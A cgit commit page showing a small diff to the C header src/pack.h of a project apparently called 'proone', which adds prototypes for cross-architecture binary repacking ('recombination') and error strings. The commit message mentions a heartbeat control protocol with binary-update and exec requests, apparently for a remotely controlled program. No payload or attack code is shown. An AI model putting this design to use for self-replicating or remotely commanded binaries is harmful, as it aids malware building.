aboutsummaryrefslogtreecommitdiff
path: root/src/pack.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-21 20:13:27 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-21 20:40:53 +1000
commita0b92490365dc88d50c81780ff9ebb6ddb681e5e (patch)
treeeee136970e08263e1a5c4fc3288aa7f746111d97 /src/pack.h
parent70b0ff657ab111b1718c159bdc6e1583330f9823 (diff)
Impl proone-htbtclient upbin, bug fixes ...
* Add prne_start_bin_rcb_compat() * PRNE_HTBT_OP_NY_BIN -> PRNE_HTBT_OP_UP_BIN. "nybin" is now the name of the file format * htbt * Fix broken hover redirection (HTBT_LMK_HOVER removed) * HTBT_MAIN_REQ_Q_SIZE * Impl PRNE_HTBT_OP_NOOP response * Fix PRNE_HTBT_OP_SOLICIT is always sent with id 1 * proone * Fix bugs caused by not scrubbing the shared global memory * Fix exec() fail when upbin request with args * Removed do_recombination() as it's not efficient. Now the authoritive end has to do the recombination * PRNE_HTBT_OP_RCB, PRNE_HTBT_STATUS_SUB reserved for future impl
Diffstat (limited to 'src/pack.h')
-rw-r--r--src/pack.h19
1 files changed, 18 insertions, 1 deletions
diff --git a/src/pack.h b/src/pack.h
index e31e07a..6a752db 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -18,7 +18,9 @@ typedef enum {
PRNE_PACK_RC_FMT_ERR,
PRNE_PACK_RC_ERRNO,
PRNE_PACK_RC_Z_ERR,
- PRNE_PACK_RC_NO_ARCH
+ PRNE_PACK_RC_NO_ARCH,
+
+ NB_PRNE_PACK_RC
} prne_pack_rc_t;
struct prne_bin_tuple {
@@ -64,6 +66,17 @@ prne_pack_rc_t prne_start_bin_rcb (
const uint8_t *m_dvault,
const size_t dvault_len,
const prne_bin_archive_t *ba);
+prne_pack_rc_t prne_start_bin_rcb_compat (
+ prne_bin_rcb_ctx_t *ctx,
+ const prne_arch_t target,
+ const prne_arch_t self,
+ const uint8_t *m_self,
+ const size_t self_len,
+ const size_t exec_len,
+ const uint8_t *m_dvault,
+ const size_t dvault_len,
+ const prne_bin_archive_t *ba,
+ prne_arch_t *actual);
ssize_t prne_bin_rcb_read (
prne_bin_rcb_ctx_t *ctx,
uint8_t *buf,
@@ -78,3 +91,7 @@ bool prne_index_nybin (
size_t *dv_len,
const uint8_t **m_ba,
size_t *ba_len);
+
+const prne_arch_t *prne_compat_arch (const prne_arch_t arch);
+
+const char *prne_pack_rc_tostr (const prne_pack_rc_t prc);